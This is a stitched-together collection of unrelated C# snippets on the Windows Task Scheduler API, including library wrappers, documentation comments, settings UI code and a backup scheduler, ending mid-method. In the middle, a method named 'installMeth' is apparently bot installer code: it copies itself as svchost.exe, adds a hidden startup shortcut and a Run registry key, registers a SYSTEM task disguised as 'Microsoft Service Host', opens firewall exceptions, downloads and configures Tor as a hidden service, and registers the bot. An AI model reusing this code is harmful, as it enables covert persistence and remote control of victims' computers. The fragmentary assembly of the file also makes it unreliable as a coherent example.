public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = (TaskLogonType)3)
{
var definition = NewTask();
definition.Triggers.Add(trigger);
definition.Actions.Add(action);
return RootFolder.RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate, UserId, Password, LogonType, null);
}
internal ScheduledTaskEntry(IRegisteredTask task)
{
SecurityDescriptor = SecurityDescriptor.Parse(task.GetSecurityDescriptor((int)SecurityInformation.AllBasic), false).GetResultOrDefault();
Path = task.Path;
Enabled = task.Enabled;
Xml = task.Xml;
var definition = task.Definition;
var settings = definition.Settings;
Hidden = settings.Hidden;
AllowDemandStart = settings.AllowDemandStart;
var principal = definition.Principal;
if (principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST)
{
RunLevel = TaskRunLevel.Highest;
}
List <string> privs = new List <string>();
if (principal is IPrincipal2 prin2)
{
privs.AddRange(Enumerable.Range(0, prin2.RequiredPrivilegeCount).Select(i => prin2.RequiredPrivilege[i]));
ProcessTokenSid = (TaskProcessTokenSid)(int)prin2.ProcessTokenSidType;
}
RequiredPrivilege = privs.AsReadOnly();
TaskLogonType logon_type = TaskLogonType.None;
string principal_name = string.Empty;
switch (principal.LogonType)
{
case _TASK_LOGON_TYPE.TASK_LOGON_GROUP:
logon_type = TaskLogonType.Group;
principal_name = principal.GroupId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN:
case _TASK_LOGON_TYPE.TASK_LOGON_PASSWORD:
case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD:
logon_type = TaskLogonType.User;
principal_name = principal.UserId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT:
logon_type = TaskLogonType.ServiceAccount;
principal_name = principal.UserId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_S4U:
logon_type = TaskLogonType.S4U;
principal_name = principal.UserId;
break;
}
LogonType = logon_type;
Principal = principal_name;
Actions = definition.Actions.Cast <IAction>().Select(a => new ScheduledTaskAction(a)).ToList().AsReadOnly();
HasActionArguments = Actions.Any(a => a.HasArguments);
Triggers = definition.Triggers.Cast <ITrigger>().Select(ScheduledTaskTrigger.Create).ToList().AsReadOnly();
}
/// <summary>
/// Registers (creates) a new task in the folder using XML to define the task. Not available for Task Scheduler 1.0.
/// </summary>
/// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
/// <param name="XmlText"> An XML-formatted definition of the task. </param>
/// <param name="createType">
/// A union of <see cref="TaskCreation" /> flags.
/// </param>
/// <param name="UserId"> The user credentials used to register the task. </param>
/// <param name="password"> The password for the userId used to register the task. </param>
/// <param name="LogonType">
/// A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
/// </param>
/// <param name="sddl"> The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. </param>
/// <returns>
/// A <see cref="Task" /> instance that represents the new task.
/// </returns>
public Task RegisterTask(string Path, string XmlText, TaskCreation createType, string UserId, string password,
TaskLogonType LogonType, string sddl)
{
if (v2Folder != null)
{
return(new Task(TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl)));
}
throw new NotV1SupportedException();
}
public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
string UserId,
string password, TaskLogonType LogonType,
string sddl = null)
{
return
(_taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
createType, UserId, password,
LogonType, sddl)));
}
/// <summary>
/// Creates a new task, registers the taks, and returns the instance.
/// </summary>
/// <param name="path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
/// <param name="trigger">
/// The <see cref="Trigger" /> to determine when to run the task.
/// </param>
/// <param name="action">
/// The <see cref="Action" /> to determine what happens when the task is triggered.
/// </param>
/// <param name="UserId"> The user credentials used to register the task. </param>
/// <param name="Password"> The password for the userId used to register the task. </param>
/// <param name="LogonType">
/// A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
/// </param>
/// <returns>
/// A <see cref="Task" /> instance of the registered task.
/// </returns>
public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null,
TaskLogonType LogonType = TaskLogonType.InteractiveToken)
{
var td = NewTask();
// Create a trigger that will fire the task at a specific date and time
td.Triggers.Add(trigger);
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(action);
// Register the task in the root folder
return(RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, UserId, Password, LogonType));
}
public TaskSchedulerEntry(IRegisteredTask task)
{
SecurityDescriptor = task.GetSecurityDescriptor((int)SecurityInformation.AllBasic);
Path = task.Path;
Enabled = task.Enabled;
Xml = task.Xml;
var definition = task.Definition;
var settings = definition.Settings;
Hidden = settings.Hidden;
AllowDemandStart = settings.AllowDemandStart;
var principal = definition.Principal;
if (principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST)
{
RunLevel = TaskRunLevel.Highest;
}
TaskLogonType logon_type = TaskLogonType.None;
string principal_name = string.Empty;
switch (principal.LogonType)
{
case _TASK_LOGON_TYPE.TASK_LOGON_GROUP:
logon_type = TaskLogonType.Group;
principal_name = principal.GroupId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN:
case _TASK_LOGON_TYPE.TASK_LOGON_PASSWORD:
case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD:
logon_type = TaskLogonType.User;
principal_name = principal.UserId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT:
logon_type = TaskLogonType.ServiceAccount;
principal_name = principal.UserId;
break;
case _TASK_LOGON_TYPE.TASK_LOGON_S4U:
logon_type = TaskLogonType.S4U;
principal_name = principal.UserId;
break;
}
LogonType = logon_type;
Principal = principal_name;
Actions = definition.Actions.Cast <IAction>().Select(a => new ScheduledTaskAction(a)).ToList().AsReadOnly();
}
// ReSharper disable ParameterHidesMember
// ReSharper disable InconsistentNaming
public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
// ReSharper restore InconsistentNaming
// ReSharper restore ParameterHidesMember
// ReSharper disable InconsistentNaming
string UserId,
// ReSharper restore InconsistentNaming
// ReSharper disable InconsistentNaming
string password = null, TaskLogonType LogonType = TaskLogonType.S4U,
// ReSharper restore InconsistentNaming
string sddl = null)
{
return
(_taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
createType, UserId, password,
LogonType, sddl)));
}
public static void enableTriggers(string machineName, string taskName, SecurityOptions securityOptions, bool enable)
{
using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, Environment.UserDomainName, securityOptions.Password))
{
Task task = getTask(taskName, ts);
if (task != null)
{
TaskDefinition def = task.Definition;
TriggerCollection triggers = def.Triggers;
List <Trigger> newTriggerList = new List <Trigger>();
foreach (Trigger trigger in triggers)
{
Trigger newTrigger = trigger.Clone() as Trigger;
newTrigger.Enabled = enable;
newTriggerList.Add(newTrigger);
}
def.Triggers.Clear();
def.Triggers.AddRange(newTriggerList);
if (securityOptions.HighestPrivilege)
{
def.Principal.RunLevel = TaskRunLevel.Highest;
}
else
{
def.Principal.RunLevel = TaskRunLevel.LUA;
}
TaskLogonType logonType = TaskLogonType.S4U;
if (securityOptions.StorePassword)
{
logonType = TaskLogonType.Password;
}
string runAsUser = String.Concat(Environment.UserDomainName, "\\", securityOptions.RunAsUser);
//using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, machineName, securityOptions.Password))
{
TaskFolder tf = getTaskFolder(ts);
tf.RegisterTaskDefinition(taskName, def, TaskCreation.Update, runAsUser,
securityOptions.Password, logonType);
}
}
}
}
public static void modifyTask(string machineName, string taskName, SecurityOptions securityOptions,
List <Trigger> triggerList, List <Microsoft.Win32.TaskScheduler.Action> actionList)
{
using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, Environment.UserDomainName, securityOptions.Password))
{
Task task = getTask(taskName, ts);
if (task != null)
{
TaskDefinition def = task.Definition;
def.Triggers.Clear();
def.Triggers.AddRange(triggerList);
def.Actions.Clear();
foreach (Microsoft.Win32.TaskScheduler.Action action in actionList)
{
def.Actions.Add(action);
}
if (securityOptions.HighestPrivilege)
{
def.Principal.RunLevel = TaskRunLevel.Highest;
}
else
{
def.Principal.RunLevel = TaskRunLevel.LUA;
}
TaskLogonType logonType = TaskLogonType.InteractiveToken;
string runAsUser = String.Concat(Environment.UserDomainName, "\\", securityOptions.RunAsUser);
TaskFolder tf = getTaskFolder(ts);
tf.RegisterTaskDefinition(taskName, def, TaskCreation.Update, runAsUser,
securityOptions.Password, logonType);
}
}
}
private void SetUserControls(TaskLogonType logonType)
{
switch (logonType)
{
case TaskLogonType.InteractiveToken:
this.flagRunOnlyWhenUserIsLoggedOn = true;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = false;
break;
case TaskLogonType.Group:
this.flagRunOnlyWhenUserIsLoggedOn = true;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = true;
break;
case TaskLogonType.ServiceAccount:
this.flagRunOnlyWhenUserIsLoggedOn = false;
this.flagExecutorIsServiceAccount = true;
this.flagExecutorIsGroup = false;
break;
default:
this.flagRunOnlyWhenUserIsLoggedOn = false;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = false;
break;
}
if (this.flagExecutorIsServiceAccount)
{
taskLoggedOnRadio.Enabled = false;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (this.flagExecutorIsGroup)
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (this.flagRunOnlyWhenUserIsLoggedOn)
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = true;
taskLocalOnlyCheck.Enabled = false;
}
else
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = true;
taskLocalOnlyCheck.Enabled = true && (task == null || IsV2);
}
taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;
string user = td == null ? null : td.Principal.ToString();
if (string.IsNullOrEmpty(user))
user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
taskPrincipalText.Text = user;
}
/// <summary>
/// Registers (creates) a new task in the folder using XML to define the task. Not available for Task Scheduler 1.0.
/// </summary>
/// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="XmlText">An XML-formatted definition of the task.</param>
/// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
/// <param name="UserId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
public Task RegisterTask(string Path, string XmlText, TaskCreation createType, string UserId, string password, TaskLogonType LogonType, string sddl)
{
if (v2Folder != null)
return new Task(this.TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl));
throw new NotV1SupportedException();
}
public void installMeth()
{
if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false)
{
string si = Application.ExecutablePath.ToString();
try
{
System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory);
}
catch (Exception ex) { }
try
{
System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
try
{
System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString());
}
catch (Exception ex) { }
try
{
string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
if (File.Exists(deskDir + "\\ServiceHost.url") == false)
{
using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url"))
{
string app = FluxGlobal.sInstallDirectory + "\\svchost.exe";
writer.WriteLine("[InternetShortcut]");
writer.WriteLine("URL=file:///" + app);
writer.WriteLine("IconIndex=0");
string icon = app.Replace('\\', '/');
writer.WriteLine("IconFile=" + icon);
writer.Flush();
}
System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
// Try Registry Last incase we get popped
try
{
RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\"");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
try
{
// Get the service on the local machine
using (TaskService ts = new TaskService())
{
TaskLogonType logonType = TaskLogonType.ServiceAccount;
string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName);
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
//td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15);
//Version v = new Version("_v2");
//if (ts.HighestSupportedVersion == v)
////{
td.Principal.RunLevel = TaskRunLevel.LUA;
td.Principal.LogonType = logonType;
td.RegistrationInfo.Description = "Microsoft Service Host";
td.RegistrationInfo.Author = "SYSTEM";
td.Principal.DisplayName = "Service Host";
//}
LogonTrigger lt = new LogonTrigger();
lt.Enabled = true;
BootTrigger bt = new BootTrigger();
bt.Delay = TimeSpan.FromMinutes(5);
// Create a trigger that will fire the task at this time every other day
td.Triggers.Add(lt);
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe"));
try
{
ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
}
catch (Exception ex2)
{
Console.WriteLine(ex2.ToString());
}
}
}
catch (Exception ex) { Console.WriteLine(ex.ToString()); }
string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";
try
{
ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE");
Process proc = new Process();
proc.StartInfo = procStartInfo;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
}
catch (Exception ex)
{
}
try
{
ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE");
Process proc = new Process();
proc.StartInfo = procStartInfo;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
}
catch (Exception ex)
{
}
string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\";
if (System.IO.Directory.Exists(sDownloadPath) == false)
{
System.IO.Directory.CreateDirectory(sDownloadPath);
}
sDownloadPath = sDownloadPath + "tor.zip";
if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false)
{
//if(System.IO.Directory.Exists(torDirectory) == false)
//{
// System.IO.Directory.CreateDirectory(torDirectory);
//}
bool bGoodDownload = false;
System.Net.WebClient wc = new System.Net.WebClient();
while (bGoodDownload == false && alTorURLs.Count > 0)
{
string sUrl = alTorURLs[0].ToString();
alTorURLs.RemoveAt(0);
try
{
wc.DownloadFile(sUrl, sDownloadPath);
bGoodDownload = true;
}
catch { }
if (bGoodDownload == true)
{
break;
}
}
try
{
UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", ""));
System.IO.Directory.Move(sDownloadPath.Replace("tor.zip", "") + "\\1-master", torDirectory);
string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375";
System.IO.File.WriteAllText(torDirectory + "torrc", torrc);
try
{
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\"");
psi.UseShellExecute = false;
psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
psi.CreateNoWindow = true;
psi.RedirectStandardError = true;
psi.RedirectStandardOutput = true;
psi.RedirectStandardInput = true;
System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process();
serviceProcess.StartInfo = psi;
serviceProcess.Start();
System.Threading.Thread.Sleep(120000);
serviceProcess.Kill();
}
catch (Exception ex)
{
}
string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname");
System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString()));
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
FluxApiClient.RegisterBot();
}
}
public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
string UserId,
string password, TaskLogonType LogonType) => RegisterTaskDefinition(Path, definition, createType, UserId, password, LogonType, null);
// ReSharper disable ParameterHidesMember
// ReSharper disable InconsistentNaming
public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
// ReSharper restore InconsistentNaming
// ReSharper restore ParameterHidesMember
// ReSharper disable InconsistentNaming
string UserId,
// ReSharper restore InconsistentNaming
// ReSharper disable InconsistentNaming
string password = null, TaskLogonType LogonType = TaskLogonType.S4U,
// ReSharper restore InconsistentNaming
string sddl = null)
{
return
_taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
createType, UserId, password,
LogonType, sddl));
}
private void SchedulePlanExecution(Models.ISchedulablePlan plan, bool reschedule = false)
{
string taskName = BuildTaskName(plan);
// Get the service on the local machine
using (TaskService ts = new TaskService())
{
// Find if there's already a task for the informed plan.
Task existingTask = ts.FindTask(taskName, false);
if (existingTask != null)
{
// Check if the plan changed after the existing task was scheduled.
// It's important to convert the DateTime's to the same TimeZone before comparing them.
bool changed = plan.UpdatedAt.ToLocalTime() > existingTask.Definition.RegistrationInfo.Date.ToLocalTime();
if (!changed)
{
return;
}
if (plan.IsRunManually)
{
Info("{0} is already scheduled - Deleting schedule because it's now Manual.", taskName);
// Remove the task we found.
ts.RootFolder.DeleteTask(taskName);
return;
}
else
{
Info("{0} is already scheduled - {1}", taskName,
reschedule ? "rescheduling..." : "rescheduling was not requested");
// If we're not rescheduling, stop now.
if (!reschedule)
{
return;
}
// Do NOT delete the task we found - it will be updated by `RegisterTaskDefinition`.
//ts.RootFolder.DeleteTask(taskName);
}
}
else
{
if (plan.IsRunManually)
{
// Do not schedule anything.
return;
}
}
Info("Scheduling task {0} (plan last changed at {1})", taskName,
plan.UpdatedAt.ToLocalTime().ToString("yyyy-MM-ddTHH:mm:ssK"));
// If the task doesn't exist yet, create a new task definition and assign properties
// This task will require Task Scheduler 2.0 (Windows >= Vista or Server >= 2008) or newer.
TaskDefinition td = existingTask != null
? existingTask.Definition
: ts.NewTask();
// Run this task even if the user is NOT logged on.
if (td.LowestSupportedVersion == TaskCompatibility.V1)
{
td.Settings.RunOnlyIfLoggedOn = false;
}
// When running this task, use the System user account, if we have elevated privileges.
if (IsElevated)
{
td.Principal.LogonType = TaskLogonType.InteractiveTokenOrPassword;
}
//td.Principal.RequiredPrivileges = new TaskPrincipalPrivilege[] {
// TaskPrincipalPrivilege.SeBackupPrivilege,
// TaskPrincipalPrivilege.SeRestorePrivilege,
// TaskPrincipalPrivilege.SeChangeNotifyPrivilege,
// TaskPrincipalPrivilege.SeCreateSymbolicLinkPrivilege,
// TaskPrincipalPrivilege.SeManageVolumePrivilege,
// TaskPrincipalPrivilege.SeCreateSymbolicLinkPrivilege,
//};
// Run with highest privileges, if we have elevated privileges.
if (IsElevated)
{
td.Principal.RunLevel = TaskRunLevel.Highest;
}
// If the task is not scheduled to run again, delete it after 24 hours -- This seem to require `EndBoundary` to be set.
//td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromHours(24);
// Don't allow multipe instances of the task to run simultaneously.
td.Settings.MultipleInstances = TaskInstancesPolicy.IgnoreNew;
// Only run when a network is available.
td.Settings.RunOnlyIfNetworkAvailable = true;
td.RegistrationInfo.Author = string.Format(@"{0}\{1}", Environment.UserDomainName, Environment.UserName);
// We identify the Scheduled task needs an update if this Date is older than `SchedulablePlan.UpdatedAt`.
td.RegistrationInfo.Date = DateTime.UtcNow;
string description = string.Format(
"This task was automatically {0} by the {1} service at {2}",
existingTask != null ? "updated" : "created",
typeof(Teltec.Everest.Scheduler.Service).Namespace,
td.RegistrationInfo.Date.ToLocalTime().ToString("yyyy-MM-ddTHH:mm:ssK"));
td.RegistrationInfo.Description = description;
// Create triggers to fire the task when planned.
td.Triggers.Clear();
td.Triggers.AddRange(BuildTriggers(plan));
bool isBackup = plan is Models.BackupPlan;
bool isRestore = plan is Models.RestorePlan;
if (!isBackup && !isRestore)
{
throw new InvalidOperationException("Unhandled plan type");
}
// Create an action that will launch the PlanExecutor
string planType = isBackup
? PlanTypeEnum.BACKUP.ToString().ToLowerInvariant()
: isRestore
? PlanTypeEnum.RESTORE.ToString().ToLowerInvariant()
: string.Empty;
PlanExecutorEnv env = BuildPlanExecutorEnv(planType, plan.ScheduleParamId, false);
td.Actions.Clear();
td.Actions.Add(new ExecAction(env.Path, env.Arguments, env.Cwd));
// Register the task in the root folder
const string username = "******";
const string password = null;
const TaskLogonType logonType = TaskLogonType.ServiceAccount;
try
{
ts.RootFolder.RegisterTaskDefinition(taskName, td, TaskCreation.CreateOrUpdate, username, password, logonType);
}
catch (Exception ex)
{
logger.Error("Failed to create/update scheduled task ({0}): {1}", taskName, ex.Message);
}
}
}
public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = (TaskLogonType)3)
{
var definition = NewTask();
definition.Triggers.Add(trigger);
definition.Actions.Add(action);
return(RootFolder.RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate, UserId, Password, LogonType, null));
}
/// <summary>
/// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="definition">The <see cref="TaskDefinition" /> of the registered task.</param>
/// <param name="createType">A union of <see cref="TaskCreation" /> flags.</param>
/// <param name="userId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>
/// A <see cref="Task" /> instance that represents the new task. This will return <c>null</c> if <paramref name="createType"/> is set to <c>ValidateOnly</c> and there are no validation errors.
/// </returns>
/// <exception cref="System.ArgumentOutOfRangeException">
/// Task names may not include any characters which are invalid for file names.
/// or
/// Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.
/// </exception>
/// <exception cref="NotV1SupportedException">This LogonType is not supported on Task Scheduler 1.0.
/// or
/// Security settings are not available on Task Scheduler 1.0.
/// or
/// Registration triggers are not available on Task Scheduler 1.0.
/// or
/// XML validation not available on Task Scheduler 1.0.</exception>
/// <remarks>This method is effectively the "Save" method for tasks. It takes a modified <c>TaskDefinition</c> instance and registers it in the folder defined by this <c>TaskFolder</c> instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task.</remarks>
/// <example>
/// <para>This first example registers a simple task with a single trigger and action using the default security.</para>
/// <code lang="cs"><![CDATA[
/// // Create a new task definition for the local machine and assign properties
/// TaskDefinition td = TaskService.Instance.NewTask();
/// td.RegistrationInfo.Description = "Does something";
///
/// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday
/// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));
///
/// // Create an action that will launch Notepad whenever the trigger fires
/// td.Actions.Add("notepad.exe", "c:\\test.log");
///
/// // Register the task in the root folder of the local machine using the current user and the S4U logon type
/// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", td);
/// ]]></code>
/// <para>This example registers that same task using the SYSTEM account.</para>
/// <code lang="cs"><![CDATA[
/// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
/// ]]></code>
/// <para>This example registers that same task using a specific username and password along with a security definition.</para>
/// <code lang="cs"><![CDATA[
/// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "userDomain\\userName", "userPassword", TaskLogonType.Password, @"O:BAG:DUD:(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FA;;;BA)(A;;FR;;;BU)");
/// ]]></code></example>
public Task RegisterTaskDefinition([NotNull] string path, [NotNull] TaskDefinition definition, TaskCreation createType, string userId, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)
{
if (definition.Actions.Count < 1 || definition.Actions.Count > 32)
{
throw new ArgumentOutOfRangeException(nameof(definition.Actions), @"A task must be registered with at least one action and no more than 32 actions.");
}
userId = userId ?? definition.Principal.Account;
if (userId == string.Empty)
{
userId = null;
}
User user = new User(userId);
if (v2Folder != null)
{
definition.Actions.ConvertUnsupportedActions();
if (logonType == TaskLogonType.ServiceAccount)
{
if (string.IsNullOrEmpty(userId) || !user.IsServiceAccount)
{
throw new ArgumentException(@"A valid system account name must be supplied for TaskLogonType.ServiceAccount. Valid entries are ""NT AUTHORITY\SYSTEM"", ""SYSTEM"", ""NT AUTHORITY\LOCALSERVICE"", or ""NT AUTHORITY\NETWORKSERVICE"".", nameof(userId));
}
if (password != null)
{
throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.ServiceAccount.", nameof(password));
}
}
/*else if ((LogonType == TaskLogonType.Password || LogonType == TaskLogonType.InteractiveTokenOrPassword ||
* (LogonType == TaskLogonType.S4U && UserId != null && !user.IsCurrent)) && password == null)
* {
* throw new ArgumentException("A password must be supplied when specifying TaskLogonType.Password or TaskLogonType.InteractiveTokenOrPassword or TaskLogonType.S4U from another account.", nameof(password));
* }*/
else if (logonType == TaskLogonType.Group && password != null)
{
throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.Group.", nameof(password));
}
// The following line compensates for an omission in the native library that never actually sets the registration date (thanks ixm7).
if (definition.RegistrationInfo.Date == DateTime.MinValue)
{
definition.RegistrationInfo.Date = DateTime.Now;
}
var iRegTask = v2Folder.RegisterTaskDefinition(path, definition.v2Def, (int)createType, userId ?? user.Name, password, logonType, sddl);
if (createType == TaskCreation.ValidateOnly && iRegTask == null)
{
return(null);
}
return(Task.CreateTask(TaskService, iRegTask));
}
// Check for V1 invalid task names
string invChars = Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));
if (Regex.IsMatch(path, @"[" + invChars + @"]"))
{
throw new ArgumentOutOfRangeException(nameof(path), @"Task names may not include any characters which are invalid for file names.");
}
if (Regex.IsMatch(path, @"\.[^" + invChars + @"]{0,3}\z"))
{
throw new ArgumentOutOfRangeException(nameof(path), @"Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.");
}
// Adds ability to set a password for a V1 task. Provided by Arcao.
TaskFlags flags = definition.v1Task.GetFlags();
if (logonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
{
logonType = TaskLogonType.InteractiveToken;
}
switch (logonType)
{
case TaskLogonType.Group:
case TaskLogonType.S4U:
case TaskLogonType.None:
throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
case TaskLogonType.InteractiveToken:
flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
definition.v1Task.SetAccountInformation(user.Name, IntPtr.Zero);
break;
case TaskLogonType.ServiceAccount:
flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(userId) || user.IsSystem) ? String.Empty : user.Name, IntPtr.Zero);
break;
